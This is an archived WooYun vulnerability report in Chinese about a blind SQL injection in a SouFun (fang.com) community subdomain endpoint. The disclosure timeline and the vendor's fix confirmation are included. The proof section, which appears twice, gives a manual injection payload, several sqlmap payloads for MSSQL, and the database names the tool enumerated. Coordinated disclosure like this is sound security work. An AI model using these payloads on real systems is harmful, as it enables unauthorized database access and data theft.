当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0133833

漏洞标题:搜房网某分站boolean类型SQL盲注

相关厂商:搜房网

漏洞作者: PyNerd

提交时间:2015-08-13 14:49

修复时间:2015-09-28 14:40

公开时间:2015-09-28 14:40

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-13: 细节已通知厂商并且等待厂商处理中
2015-08-14: 厂商已经确认,细节仅向厂商公开
2015-08-24: 细节向核心白帽子及相关领域专家公开
2015-09-03: 细节向普通白帽子公开
2015-09-13: 细节向实习白帽子公开
2015-09-28: 细节向公众公开

简要描述:

造句:一边听着蔡依林的歌,一边喝着举爷的茶,一边挖洞.....

详细说明:

http://shequ.fang.com/i/xiaoquAjax.ashx
post类型,在city参数上
city=bj' and len(user_name())=7 and 'aa'='aa&districtID=0&Method=GetAreaList&r=3.1415926
手工测试
1=1时,页面有返回值。

sf.png


1=2时,页面无返回值。

sf2.png


sqlmap跑测

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: city (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: city=bj' AND 8290=8290 AND 'GyZG'='GyZG&districtID=0&Method=GetAreaList&r=3.14
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: city=bj' AND 1937=CONVERT(INT,(SELECT CHAR(113)+CHAR(112)+CHAR(122)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (1937=1937) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(122)+CHAR(98)+CHAR(122)+CHAR(113))) AND 'abgt'='abgt&districtID=0&Method=GetAreaList&r=3.14
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: city=bj';WAITFOR DELAY '0:0:5'--&districtID=0&Method=GetAreaList&r=3.14
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind (comment)
Payload: city=bj' WAITFOR DELAY '0:0:5'--&districtID=0&Method=GetAreaList&r=3.14
---
[12:50:03] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows
web application technology: ASP.NET, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008
[12:50:03] [INFO] fetching database names
[12:50:03] [INFO] the SQL query used returns 3 entries
[12:50:03] [INFO] resumed: master
[12:50:03] [INFO] resumed: SheQu
[12:50:03] [INFO] resumed: tempdb
available databases [3]:
[*] master
[*] SheQu
[*] tempdb

漏洞证明:

http://shequ.fang.com/i/xiaoquAjax.ashx
post类型,在city参数上
city=bj' and len(user_name())=7 and 'aa'='aa&districtID=0&Method=GetAreaList&r=3.1415926
手工测试
1=1时,页面有返回值。

sf.png


1=2时,页面无返回值。

sf2.png


sqlmap跑测

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: city (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: city=bj' AND 8290=8290 AND 'GyZG'='GyZG&districtID=0&Method=GetAreaList&r=3.14
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: city=bj' AND 1937=CONVERT(INT,(SELECT CHAR(113)+CHAR(112)+CHAR(122)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (1937=1937) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(122)+CHAR(98)+CHAR(122)+CHAR(113))) AND 'abgt'='abgt&districtID=0&Method=GetAreaList&r=3.14
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: city=bj';WAITFOR DELAY '0:0:5'--&districtID=0&Method=GetAreaList&r=3.14
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind (comment)
Payload: city=bj' WAITFOR DELAY '0:0:5'--&districtID=0&Method=GetAreaList&r=3.14
---
[12:50:03] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows
web application technology: ASP.NET, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008
[12:50:03] [INFO] fetching database names
[12:50:03] [INFO] the SQL query used returns 3 entries
[12:50:03] [INFO] resumed: master
[12:50:03] [INFO] resumed: SheQu
[12:50:03] [INFO] resumed: tempdb
available databases [3]:
[*] master
[*] SheQu
[*] tempdb

修复方案:

下线吧

版权声明:转载请注明来源 PyNerd@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2015-08-14 14:38

厂商回复:

感谢您对搜房安全的关注,您反馈的问题已经修复。

最新状态:

暂无